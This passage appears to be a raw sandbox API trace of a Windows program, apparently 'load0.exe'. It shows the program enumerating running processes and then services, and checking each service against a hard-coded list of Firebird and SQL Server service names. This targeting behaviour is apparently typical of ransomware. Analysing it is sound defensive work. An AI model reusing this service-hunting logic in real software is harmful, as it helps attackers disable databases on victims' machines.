th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.645] lstrlenW (lpString="svchost.exe") returned 11 [0300.645] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.645] lstrlenW (lpString="dwm.exe") returned 7 [0300.645] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.646] lstrlenW (lpString="svchost.exe") returned 11 [0300.646] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.647] lstrlenW (lpString="svchost.exe") returned 11 [0300.647] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.647] lstrlenW (lpString="svchost.exe") returned 11 [0300.648] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.648] lstrlenW (lpString="svchost.exe") returned 11 [0300.648] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.649] lstrlenW (lpString="svchost.exe") returned 11 [0300.649] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.650] lstrlenW (lpString="svchost.exe") returned 11 [0300.650] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.651] lstrlenW (lpString="svchost.exe") returned 11 [0300.651] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.651] lstrlenW (lpString="svchost.exe") returned 11 [0300.651] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.652] lstrlenW (lpString="svchost.exe") returned 11 [0300.652] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.653] lstrlenW (lpString="svchost.exe") returned 11 [0300.653] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.653] lstrlenW (lpString="spoolsv.exe") returned 11 [0300.653] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.654] lstrlenW (lpString="svchost.exe") returned 11 [0300.655] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0300.655] lstrlenW (lpString="audiodg.exe") returned 11 [0300.655] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0300.656] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0300.656] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0300.657] lstrlenW (lpString="Memory Compression") returned 18 [0300.657] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0300.657] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0300.658] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.658] lstrlenW (lpString="sihost.exe") returned 10 [0300.658] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.659] lstrlenW (lpString="svchost.exe") returned 11 [0300.659] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.660] lstrlenW (lpString="taskhostw.exe") returned 13 [0300.660] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0300.661] lstrlenW (lpString="msoia.exe") returned 9 [0300.661] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.662] lstrlenW (lpString="explorer.exe") returned 12 [0300.662] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.662] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0300.662] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.663] lstrlenW (lpString="SearchUI.exe") returned 12 [0300.663] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.673] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0300.674] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0300.674] lstrlenW (lpString="load0.exe") returned 9 [0300.674] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.675] lstrlenW (lpString="svchost.exe") returned 11 [0300.675] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0300.676] CloseHandle (hObject=0x10a8) returned 1 [0300.676] Sleep (dwMilliseconds=0x1f4) [0301.225] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd8a0 [0301.225] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0301.226] GetLastError () returned 0xea [0301.226] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0301.226] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0301.227] CloseServiceHandle (hSCObject=0x7bd8a0) returned 1 [0301.227] lstrlenW (lpString="Appinfo") returned 7 [0301.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0301.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0301.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0301.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0301.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0301.227] lstrlenW (lpString="AppXSvc") returned 7 [0301.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0301.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0301.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0301.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0301.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0301.227] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0301.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0301.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0301.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0301.227] lstrlenW (lpString="Audiosrv") returned 8 [0301.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0301.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0301.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0301.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0301.228] lstrlenW (lpString="BFE") returned 3 [0301.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0301.228] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0301.228] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0301.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0301.228] lstrlenW (lpString="BITS") returned 4 [0301.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0301.228] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0301.228] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0301.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0301.228] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0301.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.228] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0301.228] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0301.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0301.228] lstrlenW (lpString="CDPSvc") returned 6 [0301.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0301.228] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0301.228] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0301.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0301.228] lstrlenW (lpString="ClickToRunSvc") returned 13 [0301.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0301.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0301.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0301.229] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0301.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0301.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0301.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0301.229] lstrlenW (lpString="CryptSvc") returned 8 [0301.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0301.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0301.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0301.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0301.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0301.229] lstrlenW (lpString="DcomLaunch") returned 10 [0301.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0301.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0301.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0301.229] lstrlenW (lpString="DeviceAssociationService") returned 24 [0301.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0301.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0301.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0301.229] lstrlenW (lpString="Dhcp") returned 4 [0301.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0301.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0301.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0301.230] lstrlenW (lpString="Dnscache") returned 8 [0301.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0301.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0301.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0301.230] lstrlenW (lpString="DPS") returned 3 [0301.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0301.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0301.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0301.230] lstrlenW (lpString="DusmSvc") returned 7 [0301.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0301.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0301.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0301.230] lstrlenW (lpString="EventLog") returned 8 [0301.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0301.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0301.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0301.230] lstrlenW (lpString="EventSystem") returned 11 [0301.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0301.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0301.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0301.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0301.231] lstrlenW (lpString="FontCache") returned 9 [0301.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0301.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0301.231] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0301.231] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0301.231] lstrlenW (lpString="gpsvc") returned 5 [0301.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0301.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0301.231] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0301.231] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0301.231] lstrlenW (lpString="iphlpsvc") returned 8 [0301.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.231] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0301.231] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0301.231] lstrlenW (lpString="KeyIso") returned 6 [0301.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0301.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0301.231] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0301.231] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0301.231] lstrlenW (lpString="LanmanServer") returned 12 [0301.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0301.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0301.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0301.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0301.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0301.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0301.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0301.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0301.232] lstrlenW (lpString="lfsvc") returned 5 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0301.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0301.232] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0301.232] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0301.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0301.232] lstrlenW (lpString="lmhosts") returned 7 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0301.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0301.232] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0301.232] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0301.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0301.232] lstrlenW (lpString="LSM") returned 3 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0301.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0301.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0301.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0301.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0301.232] lstrlenW (lpString="MpsSvc") returned 6 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0301.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0301.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0301.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0301.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0301.232] lstrlenW (lpString="NcbService") returned 10 [0301.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0301.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0301.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0301.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0301.233] lstrlenW (lpString="netprofm") returned 8 [0301.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0301.233] lstrcmpiW 